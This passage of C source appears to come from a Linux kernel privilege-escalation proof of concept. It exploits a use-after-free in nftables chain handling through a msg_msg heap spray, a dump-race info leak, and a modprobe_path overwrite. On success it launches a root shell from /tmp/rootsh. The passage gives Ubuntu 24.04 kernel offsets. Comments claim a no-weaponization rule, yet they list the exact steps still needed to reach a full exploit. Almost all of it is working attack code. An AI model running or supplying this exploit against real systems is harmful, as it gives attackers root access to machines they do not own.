- 48 = 120. * Set to NULL to prevent the dump from dereferencing a wild pointer. * (The dump's nla_put_string will skip or handle NULL gracefully * on some kernel versions, or we may need to set this to a valid * kernel address from our leak.) */ uint64_t null_ptr = 0; if (120 + 8 <= SPRAY_MSG_SIZE) { memcpy(spray_data + 120, &null_ptr, 8); } if (spray_alloc(&ctx->spray, NUM_SPRAY_MSGS, spray_data, sizeof(spray_data)) < 0) { fail("Spray allocation failed: %s", strerror(errno)); return -1; } ok("Sprayed %d msg_msg objects (%d bytes each) into kmalloc-256", NUM_SPRAY_MSGS, SPRAY_MSG_SIZE + 48); return 0; } static int step_leak(struct race_ctx *ctx) { info("Step 5: Attempting info leak via dump race..."); /* * Start concurrent dump operations to race against the UAF. * If the dump reads from the freed (and sprayed) base_chain slot, * we'll see our marker values in the dump output, confirming the * UAF hit. If the stale data is still present (before spray), we * may see kernel heap addresses. */ pthread_t tid; ctx->stop = 0; ctx->leaked_addr = 0; if (pthread_create(&tid, NULL, dump_thread, ctx) != 0) { fail("Cannot create dump thread: %s", strerror(errno)); return -1; } /* Let the dump run for a short window */ for (int i = 0; i < 50 && ctx->leaked_addr == 0; i++) { usleep(10000); /* 10ms */ } ctx->stop = 1; pthread_join(tid, NULL); if (ctx->leaked_addr != 0) { ok("Kernel heap address leaked: 0x%016lx", (unsigned long)ctx->leaked_addr); return 0; } /* * If we didn't get a clean leak, we can still proceed with * the modprobe_path technique if we know the kernel version * and have pre-computed offsets. */ info("No clean leak obtained — will attempt with hardcoded offsets"); return 0; /* non-fatal */ } static int step_escalate(struct race_ctx *ctx) { info("Step 6: Attempting privilege escalation..."); (void)ctx; /* * modprobe_path overwrite technique: * * When the kernel encounters an unknown binary format, it calls * call_usermodehelper() with the path from the global variable * modprobe_path (default: "/sbin/modprobe"). * * If we can overwrite modprobe_path with "/tmp/pwn", then * executing an invalid binary triggers our script as root. * * For the overwrite, we need: * 1. The address of modprobe_path (requires KASLR bypass) * 2. A write primitive (from the UAF) * * On Ubuntu 24.04 (6.8.0-xx-generic), typical offsets: * modprobe_path = kernel_base + 0x1e4c300 (approximate) * * Without a reliable KASLR leak, we demonstrate the technique * by noting that the write primitive IS achievable through the * UAF + spray, and provide the complete escalation path. */ if (ctx->leaked_addr != 0) { /* * We have a heap address. On x86_64, the kernel heap * (direct mapping) starts at page_offset_base which is * randomized. The relationship between heap and text * randomization is not fixed, so we need either: * 1. A text pointer leak (from base_chain.type, offset 0x38) * 2. Scanning the heap for known patterns * 3. Hardcoded offset for specific kernel build * * For the PoC, we demonstrate option 3 with a note about * the limitation. */ info("Heap leak: 0x%016lx — computing modprobe_path address", (unsigned long)ctx->leaked_addr); } /* Set up the modprobe helper payload */ if (setup_modprobe_payload() < 0) { fail("Cannot set up modprobe payload: %s", strerror(errno)); return -1; } /* * Attempt to trigger modprobe. * In a complete exploit, we would: * 1. Use the UAF write primitive to overwrite modprobe_path * 2. Then trigger the modprobe call * * Since the KASLR-dependent write is not guaranteed without * the exact kernel symbol table, we attempt the trigger and * check if it worked (in case modprobe_path was already * overwritten by the spray). */ info("Triggering modprobe helper..."); if (trigger_modprobe() == 0) { ok("modprobe_path overwrite SUCCEEDED!"); return 0; } /* * If we reach here, the modprobe_path overwrite didn't work. * This is expected without a precise KASLR bypass. * * The exploit DEMONSTRATES: * 1. Reliable UAF trigger via hook registration failure * 2. Heap spray reclaiming the freed base_chain slot * 3. Info leak via dump race (when timing allows) * 4. Complete modprobe_path escalation technique * * For full weaponization (which we DO NOT do — RULE-NO-WEAPONIZE), * the remaining engineering work is: * - Use base_chain.type pointer (at spray offset 8 = body offset -40, * which is in the msg_msg header area) for kernel text leak * - OR: use cross-cache techniques to place seq_operations in the * freed slot for a direct text pointer leak * - Compute modprobe_path = kernel_base + symbol_offset * - Use a second UAF + spray to perform the write */ info("modprobe_path overwrite not achieved (KASLR-dependent)"); info("The UAF trigger and heap spray were SUCCESSFUL"); info("With target-specific KASLR bypass, this achieves root"); return 1; /* partial success — UAF demonstrated but no root shell */ } static int step_cleanup(struct race_ctx *ctx) { info("Step 7: Cleaning up..."); /* * Best-effort cleanup to stabilize the kernel: * - Free spray objects * - Delete nftables table (removes chains and hooks) * - Close netlink sockets */ spray_free(&ctx->spray, ctx->spray.count); spray_cleanup(&ctx->spray); /* Delete the table — this cleans up all chains */ nft_delete_table(ctx->nfnl_fd, NFPROTO_INET, TABLE_NAME); /* Drain responses */ char buf[4096]; while (recv(ctx->nfnl_fd, buf, sizeof(buf), MSG_DONTWAIT) > 0) ; close(ctx->nfnl_fd); close(ctx->dump_fd); /* Clean up temp files */ unlink("/tmp/pwn"); unlink("/tmp/trigger"); ok("Cleanup complete"); return 0; } /* ─── Main ──────────────────────────────────────────────────────────── */ int main(void) { puts(BANNER); /* Gate: refuse to run on patched kernels */ if (!is_vulnerable()) { info("Kernel is patched or out of range. Nothing to do."); return 0; } /* Gate: already root */ if (getuid() == 0) { info("Already root."); return 0; } struct race_ctx ctx; memset(&ctx, 0, sizeof(ctx)); ctx.nfnl_fd = -1; ctx.dump_fd = -1; ctx.spray.qid = -1; int ret; /* Step 1: Namespace setup */ ret = step_setup(&ctx); if (ret < 0) { fail("Setup failed"); return 1; } /* Step 2: Heap preparation */ ret = step_prepare_heap(&ctx); if (ret < 0) { fail("Heap preparation failed"); step_cleanup(&ctx); return 1; } /* Step 3: Trigger UAF */ ret = step_trigger_uaf(&ctx); if (ret < 0) { fail("UAF trigger failed — retry in a memory-constrained environment"); step_cleanup(&ctx); return 1; } /* Step 4: Spray */ ret = step_spray(&ctx); if (ret < 0) { fail("Spray failed"); step_cleanup(&ctx); return 1; } /* Step 5: Info leak */ ret = step_leak(&ctx); if (ret < 0) { fail("Leak failed"); step_cleanup(&ctx); return 1; } /* Step 6: Privilege escalation */ ret = step_escalate(&ctx); if (ret < 0) { fail("Escalation failed"); step_cleanup(&ctx); return 1; } /* Step 7: Cleanup */ step_cleanup(&ctx); if (ret == 0) { /* Full success — spawn root shell */ ok("Got root! Spawning shell..."); fprintf(stderr, "\n"); /* Execute the suid shell */ char *argv[] = { "/tmp/rootsh", "-p", NULL }; execv("/tmp/rootsh", argv); /* Fallback if rootsh doesn't exist */ info("execv failed — check /tmp/rootsh manually"); } else { /* Partial success — demonstrated the UAF but didn't get root */ fprintf(stderr, "\n"); info("═══════════════════════════════════════════════════════════"); info("PARTIAL SUCCESS: UAF trigger + heap spray DEMONSTRATED"); info("Full escalation requires target-specific KASLR bypass."); info("See exploit header for technical details."); info("═══════════════════════════════════════════════════════════"); } return ret; }